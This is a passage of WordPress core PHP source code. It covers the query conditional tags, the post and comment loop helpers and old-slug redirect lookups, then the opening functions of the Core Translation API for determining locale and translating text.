 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $author Optional. User ID, nickname, nicename, or array of such
 *                                          to check against. Default empty.
 * @return bool Whether the query is for an existing author archive page.
 */
function is_author( $author = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_author( $author );
}

/**
 * Determines whether the query is for an existing category archive page.
 *
 * If the $category parameter is specified, this function will additionally
 * check if the query is for one of the categories specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $category Optional. Category ID, name, slug, or array of such
 *                                            to check against. Default empty.
 * @return bool Whether the query is for an existing category archive page.
 */
function is_category( $category = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_category( $category );
}

/**
 * Determines whether the query is for an existing tag archive page.
 *
 * If the $tag parameter is specified, this function will additionally
 * check if the query is for one of the tags specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $tag Optional. Tag ID, name, slug, or array of such
 *                                       to check against. Default empty.
 * @return bool Whether the query is for an existing tag archive page.
 */
function is_tag( $tag = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_tag( $tag );
}

/**
 * Determines whether the query is for an existing custom taxonomy archive page.
 *
 * If the $taxonomy parameter is specified, this function will additionally
 * check if the query is for that specific $taxonomy.
 *
 * If the $term parameter is specified in addition to the $taxonomy parameter,
 * this function will additionally check if the query is for one of the terms
 * specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[]           $taxonomy Optional. Taxonomy slug or slugs to check against.
 *                                            Default empty.
 * @param int|string|int[]|string[] $term     Optional. Term ID, name, slug, or array of such
 *                                            to check against. Default empty.
 * @return bool Whether the query is for an existing custom taxonomy archive page.
 *              True for custom taxonomy archive pages, false for built-in taxonomies
 *              (category and tag archives).
 */
function is_tax( $taxonomy = '', $term = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_tax( $taxonomy, $term );
}

/**
 * Determines whether the query is for an existing date archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing date archive.
 */
function is_date() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_date();
}

/**
 * Determines whether the query is for an existing day archive.
 *
 * A conditional check to test whether the page is a date-based archive page displaying posts for the current day.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing day archive.
 */
function is_day() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_day();
}

/**
 * Determines whether the query is for a feed.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $feeds Optional. Feed type or array of feed types
 *                                         to check against. Default empty.
 * @return bool Whether the query is for a feed.
 */
function is_feed( $feeds = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_feed( $feeds );
}

/**
 * Is the query for a comments feed?
 *
 * @since 3.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a comments feed.
 */
function is_comment_feed() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_comment_feed();
}

/**
 * Determines whether the query is for the front page of the site.
 *
 * This is for what is displayed at your site's main URL.
 *
 * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
 *
 * If you set a static page for the front page of your site, this function will return
 * true when viewing that page.
 *
 * Otherwise the same as {@see is_home()}.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the front page of the site.
 */
function is_front_page() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_front_page();
}

/**
 * Determines whether the query is for the blog homepage.
 *
 * The blog homepage is the page that shows the time-based blog content of the site.
 *
 * is_home() is dependent on the site's "Front page displays" Reading Settings 'show_on_front'
 * and 'page_for_posts'.
 *
 * If a static page is set for the front page of the site, this function will return true only
 * on the page you set as the "Posts page".
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_front_page()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the blog homepage.
 */
function is_home() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_home();
}

/**
 * Determines whether the query is for the Privacy Policy page.
 *
 * The Privacy Policy page is the page that shows the Privacy Policy content of the site.
 *
 * is_privacy_policy() is dependent on the site's "Change your Privacy Policy page" Privacy Settings 'wp_page_for_privacy_policy'.
 *
 * This function will return true only on the page you set as the "Privacy Policy page".
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the Privacy Policy page.
 */
function is_privacy_policy() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_privacy_policy();
}

/**
 * Determines whether the query is for an existing month archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing month archive.
 */
function is_month() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_month();
}

/**
 * Determines whether the query is for an existing single page.
 *
 * If the $page parameter is specified, this function will additionally
 * check if the query is for one of the pages specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_single()
 * @see is_singular()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $page Optional. Page ID, title, slug, or array of such
 *                                        to check against. Default empty.
 * @return bool Whether the query is for an existing single page.
 */
function is_page( $page = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_page( $page );
}

/**
 * Determines whether the query is for a paged result and not for the first page.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a paged result.
 */
function is_paged() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_paged();
}

/**
 * Determines whether the query is for a post or page preview.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a post or page preview.
 */
function is_preview() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_preview();
}

/**
 * Is the query for the robots.txt file?
 *
 * @since 2.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the robots.txt file.
 */
function is_robots() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_robots();
}

/**
 * Is the query for the favicon.ico file?
 *
 * @since 5.4.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for the favicon.ico file.
 */
function is_favicon() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_favicon();
}

/**
 * Determines whether the query is for a search.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a search.
 */
function is_search() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_search();
}

/**
 * Determines whether the query is for an existing single post.
 *
 * Works for any post type, except attachments and pages
 *
 * If the $post parameter is specified, this function will additionally
 * check if the query is for one of the Posts specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_page()
 * @see is_singular()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param int|string|int[]|string[] $post Optional. Post ID, title, slug, or array of such
 *                                        to check against. Default empty.
 * @return bool Whether the query is for an existing single post.
 */
function is_single( $post = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_single( $post );
}

/**
 * Determines whether the query is for an existing single post of any post type
 * (post, attachment, page, custom post types).
 *
 * If the $post_types parameter is specified, this function will additionally
 * check if the query is for one of the Posts Types specified.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @see is_page()
 * @see is_single()
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string|string[] $post_types Optional. Post type or array of post types
 *                                    to check against. Default empty.
 * @return bool Whether the query is for an existing single post
 *              or any of the given post types.
 */
function is_singular( $post_types = '' ) {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_singular( $post_types );
}

/**
 * Determines whether the query is for a specific time.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a specific time.
 */
function is_time() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_time();
}

/**
 * Determines whether the query is for a trackback endpoint call.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for a trackback endpoint call.
 */
function is_trackback() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_trackback();
}

/**
 * Determines whether the query is for an existing year archive.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an existing year archive.
 */
function is_year() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_year();
}

/**
 * Determines whether the query has resulted in a 404 (returns no results).
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is a 404 error.
 */
function is_404() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_404();
}

/**
 * Is the query for an embedded post?
 *
 * @since 4.4.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is for an embedded post.
 */
function is_embed() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1.0' );
		return false;
	}

	return $wp_query->is_embed();
}

/**
 * Determines whether the query is the main query.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool Whether the query is the main query.
 */
function is_main_query() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '6.1.0' );
		return false;
	}

	if ( 'pre_get_posts' === current_filter() ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: pre_get_posts, 2: WP_Query->is_main_query(), 3: is_main_query(), 4: Documentation URL. */
				__( 'In %1$s, use the %2$s method, not the %3$s function. See %4$s.' ),
				'<code>pre_get_posts</code>',
				'<code>WP_Query->is_main_query()</code>',
				'<code>is_main_query()</code>',
				__( 'https://developer.wordpress.org/reference/functions/is_main_query/' )
			),
			'3.7.0'
		);
	}

	return $wp_query->is_main_query();
}

/*
 * The Loop. Post loop control.
 */

/**
 * Determines whether current WordPress query has posts to loop over.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if posts are available, false if end of the loop.
 */
function have_posts() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->have_posts();
}

/**
 * Determines whether the caller is in the Loop.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.0.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if caller is within loop, false if loop hasn't started or ended.
 */
function in_the_loop() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->in_the_loop;
}

/**
 * Rewind the loop posts.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function rewind_posts() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->rewind_posts();
}

/**
 * Iterate the post index in the loop.
 *
 * @since 1.5.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function the_post() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->the_post();
}

/*
 * Comments loop.
 */

/**
 * Determines whether current WordPress query has comments to loop over.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @return bool True if comments are available, false if no more comments.
 */
function have_comments() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return false;
	}

	return $wp_query->have_comments();
}

/**
 * Iterate comment index in the comment loop.
 *
 * @since 2.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function the_comment() {
	global $wp_query;

	if ( ! isset( $wp_query ) ) {
		return;
	}

	$wp_query->the_comment();
}

/**
 * Redirect old slugs to the correct permalink.
 *
 * Attempts to find the current slug from the past slugs.
 *
 * @since 2.1.0
 */
function wp_old_slug_redirect() {
	if ( is_404() && '' !== get_query_var( 'name' ) ) {
		// Guess the current post type based on the query vars.
		if ( get_query_var( 'post_type' ) ) {
			$post_type = get_query_var( 'post_type' );
		} elseif ( get_query_var( 'attachment' ) ) {
			$post_type = 'attachment';
		} elseif ( get_query_var( 'pagename' ) ) {
			$post_type = 'page';
		} else {
			$post_type = 'post';
		}

		if ( is_array( $post_type ) ) {
			if ( count( $post_type ) > 1 ) {
				return;
			}
			$post_type = reset( $post_type );
		}

		// Do not attempt redirect for hierarchical post types.
		if ( is_post_type_hierarchical( $post_type ) ) {
			return;
		}

		$id = _find_post_by_old_slug( $post_type );

		if ( ! $id ) {
			$id = _find_post_by_old_date( $post_type );
		}

		/**
		 * Filters the old slug redirect post ID.
		 *
		 * @since 4.9.3
		 *
		 * @param int $id The redirect post ID.
		 */
		$id = apply_filters( 'old_slug_redirect_post_id', $id );

		if ( ! $id ) {
			return;
		}

		$link = get_permalink( $id );

		if ( get_query_var( 'paged' ) > 1 ) {
			$link = user_trailingslashit( trailingslashit( $link ) . 'page/' . get_query_var( 'paged' ) );
		} elseif ( is_embed() ) {
			$link = user_trailingslashit( trailingslashit( $link ) . 'embed' );
		}

		/**
		 * Filters the old slug redirect URL.
		 *
		 * @since 4.4.0
		 *
		 * @param string $link The redirect URL.
		 */
		$link = apply_filters( 'old_slug_redirect_url', $link );

		if ( ! $link ) {
			return;
		}

		wp_redirect( $link, 301 ); // Permanent redirect.
		exit;
	}
}

/**
 * Find the post ID for redirecting an old slug.
 *
 * @since 4.9.3
 * @access private
 *
 * @see wp_old_slug_redirect()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $post_type The current post type based on the query vars.
 * @return int The Post ID.
 */
function _find_post_by_old_slug( $post_type ) {
	global $wpdb;

	$query = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_slug' AND meta_value = %s", $post_type, get_query_var( 'name' ) );

	/*
	 * If year, monthnum, or day have been specified, make our query more precise
	 * just in case there are multiple identical _wp_old_slug values.
	 */
	if ( get_query_var( 'year' ) ) {
		$query .= $wpdb->prepare( ' AND YEAR(post_date) = %d', get_query_var( 'year' ) );
	}
	if ( get_query_var( 'monthnum' ) ) {
		$query .= $wpdb->prepare( ' AND MONTH(post_date) = %d', get_query_var( 'monthnum' ) );
	}
	if ( get_query_var( 'day' ) ) {
		$query .= $wpdb->prepare( ' AND DAYOFMONTH(post_date) = %d', get_query_var( 'day' ) );
	}

	$key          = md5( $query );
	$last_changed = wp_cache_get_last_changed( 'posts' );
	$cache_key    = "find_post_by_old_slug:$key:$last_changed";
	$cache        = wp_cache_get( $cache_key, 'post-queries' );
	if ( false !== $cache ) {
		$id = $cache;
	} else {
		$id = (int) $wpdb->get_var( $query );
		wp_cache_set( $cache_key, $id, 'post-queries' );
	}

	return $id;
}

/**
 * Find the post ID for redirecting an old date.
 *
 * @since 4.9.3
 * @access private
 *
 * @see wp_old_slug_redirect()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $post_type The current post type based on the query vars.
 * @return int The Post ID.
 */
function _find_post_by_old_date( $post_type ) {
	global $wpdb;

	$date_query = '';
	if ( get_query_var( 'year' ) ) {
		$date_query .= $wpdb->prepare( ' AND YEAR(pm_date.meta_value) = %d', get_query_var( 'year' ) );
	}
	if ( get_query_var( 'monthnum' ) ) {
		$date_query .= $wpdb->prepare( ' AND MONTH(pm_date.meta_value) = %d', get_query_var( 'monthnum' ) );
	}
	if ( get_query_var( 'day' ) ) {
		$date_query .= $wpdb->prepare( ' AND DAYOFMONTH(pm_date.meta_value) = %d', get_query_var( 'day' ) );
	}

	$id = 0;
	if ( $date_query ) {
		$query        = $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta AS pm_date, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_date' AND post_name = %s" . $date_query, $post_type, get_query_var( 'name' ) );
		$key          = md5( $query );
		$last_changed = wp_cache_get_last_changed( 'posts' );
		$cache_key    = "find_post_by_old_date:$key:$last_changed";
		$cache        = wp_cache_get( $cache_key, 'post-queries' );
		if ( false !== $cache ) {
			$id = $cache;
		} else {
			$id = (int) $wpdb->get_var( $query );
			if ( ! $id ) {
				// Check to see if an old slug matches the old date.
				$id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts, $wpdb->postmeta AS pm_slug, $wpdb->postmeta AS pm_date WHERE ID = pm_slug.post_id AND ID = pm_date.post_id AND post_type = %s AND pm_slug.meta_key = '_wp_old_slug' AND pm_slug.meta_value = %s AND pm_date.meta_key = '_wp_old_date'" . $date_query, $post_type, get_query_var( 'name' ) ) );
			}
			wp_cache_set( $cache_key, $id, 'post-queries' );
		}
	}

	return $id;
}

/**
 * Set up global post data.
 *
 * @since 1.5.0
 * @since 4.4.0 Added the ability to pass a post ID to `$post`.
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
 * @return bool True when finished.
 */
function setup_postdata( $post ) {
	global $wp_query;

	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
		return $wp_query->setup_postdata( $post );
	}

	return false;
}

/**
 * Generates post data.
 *
 * @since 5.2.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Post|object|int $post WP_Post instance or Post ID/object.
 * @return array|false Elements of post, or false on failure.
 */
function generate_postdata( $post ) {
	global $wp_query;

	if ( ! empty( $wp_query ) && $wp_query instanceof WP_Query ) {
		return $wp_query->generate_postdata( $post );
	}

	return false;
}
<?php
/**
 * Core Translation API
 *
 * @package WordPress
 * @subpackage i18n
 * @since 1.2.0
 */

/**
 * Retrieves the current locale.
 *
 * If the locale is set, then it will filter the locale in the {@see 'locale'}
 * filter hook and return the value.
 *
 * If the locale is not set already, then the WPLANG constant is used if it is
 * defined. Then it is filtered through the {@see 'locale'} filter hook and
 * the value for the locale global set and the locale is returned.
 *
 * The process to get the locale should only be done once, but the locale will
 * always be filtered using the {@see 'locale'} hook.
 *
 * @since 1.5.0
 *
 * @global string $locale           The current locale.
 * @global string $wp_local_package Locale code of the package.
 *
 * @return string The locale of the blog or from the {@see 'locale'} hook.
 */
function get_locale() {
	global $locale, $wp_local_package;

	if ( isset( $locale ) ) {
		/** This filter is documented in wp-includes/l10n.php */
		return apply_filters( 'locale', $locale );
	}

	if ( isset( $wp_local_package ) ) {
		$locale = $wp_local_package;
	}

	// WPLANG was defined in wp-config.
	if ( defined( 'WPLANG' ) ) {
		$locale = WPLANG;
	}

	// If multisite, check options.
	if ( is_multisite() ) {
		// Don't check blog option when installing.
		if ( wp_installing() ) {
			$ms_locale = get_site_option( 'WPLANG' );
		} else {
			$ms_locale = get_option( 'WPLANG' );
			if ( false === $ms_locale ) {
				$ms_locale = get_site_option( 'WPLANG' );
			}
		}

		if ( false !== $ms_locale ) {
			$locale = $ms_locale;
		}
	} else {
		$db_locale = get_option( 'WPLANG' );
		if ( false !== $db_locale ) {
			$locale = $db_locale;
		}
	}

	if ( empty( $locale ) ) {
		$locale = 'en_US';
	}

	/**
	 * Filters the locale ID of the WordPress installation.
	 *
	 * @since 1.5.0
	 *
	 * @param string $locale The locale ID.
	 */
	return apply_filters( 'locale', $locale );
}

/**
 * Retrieves the locale of a user.
 *
 * If the user has a locale set to a non-empty string then it will be
 * returned. Otherwise it returns the locale of get_locale().
 *
 * @since 4.7.0
 *
 * @param int|WP_User $user User's ID or a WP_User object. Defaults to current user.
 * @return string The locale of the user.
 */
function get_user_locale( $user = 0 ) {
	$user_object = false;

	if ( 0 === $user && function_exists( 'wp_get_current_user' ) ) {
		$user_object = wp_get_current_user();
	} elseif ( $user instanceof WP_User ) {
		$user_object = $user;
	} elseif ( $user && is_numeric( $user ) ) {
		$user_object = get_user_by( 'id', $user );
	}

	if ( ! $user_object ) {
		return get_locale();
	}

	$locale = $user_object->locale;

	return $locale ? $locale : get_locale();
}

/**
 * Determines the current locale desired for the request.
 *
 * @since 5.0.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @return string The determined locale.
 */
function determine_locale() {
	/**
	 * Filters the locale for the current request prior to the default determination process.
	 *
	 * Using this filter allows to override the default logic, effectively short-circuiting the function.
	 *
	 * @since 5.0.0
	 *
	 * @param string|null $locale The locale to return and short-circuit. Default null.
	 */
	$determined_locale = apply_filters( 'pre_determine_locale', null );

	if ( $determined_locale && is_string( $determined_locale ) ) {
		return $determined_locale;
	}

	if (
		isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] &&
		( ! empty( $_GET['wp_lang'] ) || ! empty( $_COOKIE['wp_lang'] ) )
	) {
		if ( ! empty( $_GET['wp_lang'] ) ) {
			$determined_locale = sanitize_locale_name( $_GET['wp_lang'] );
		} else {
			$determined_locale = sanitize_locale_name( $_COOKIE['wp_lang'] );
		}
	} elseif (
		is_admin() ||
		( isset( $_GET['_locale'] ) && 'user' === $_GET['_locale'] && wp_is_json_request() )
	) {
		$determined_locale = get_user_locale();
	} elseif (
		( ! empty( $_REQUEST['language'] ) || isset( $GLOBALS['wp_local_package'] ) )
		&& wp_installing()
	) {
		if ( ! empty( $_REQUEST['language'] ) ) {
			$determined_locale = sanitize_locale_name( $_REQUEST['language'] );
		} else {
			$determined_locale = $GLOBALS['wp_local_package'];
		}
	}

	if ( ! $determined_locale ) {
		$determined_locale = get_locale();
	}

	/**
	 * Filters the locale for the current request.
	 *
	 * @since 5.0.0
	 *
	 * @param string $determined_locale The locale.
	 */
	return apply_filters( 'determine_locale', $determined_locale );
}

/**
 * Retrieves the translation of $text.
 *
 * If there is no translation, or the text domain isn't loaded, the original text is returned.
 *
 * *Note:* Don't use translate() directly, use __() or related functions.
 *
 * @since 2.2.0
 * @since 5.5.0 Introduced `gettext-{$domain}` filter.
 *
 * @param string $text   Text to translate.
 * @param string $domain Optional. Text domain. Unique identifier for retrieving translated strings.
 *                       Default 'default'.
 * @return string Translated text.
 */
function translate( $text, $domain = 'default' ) {
	$translations = get_translations_for_domain( $domain );
	$translation  = $translations->translate( $text );

	/**
	 * Filters text with its translation.
	 *
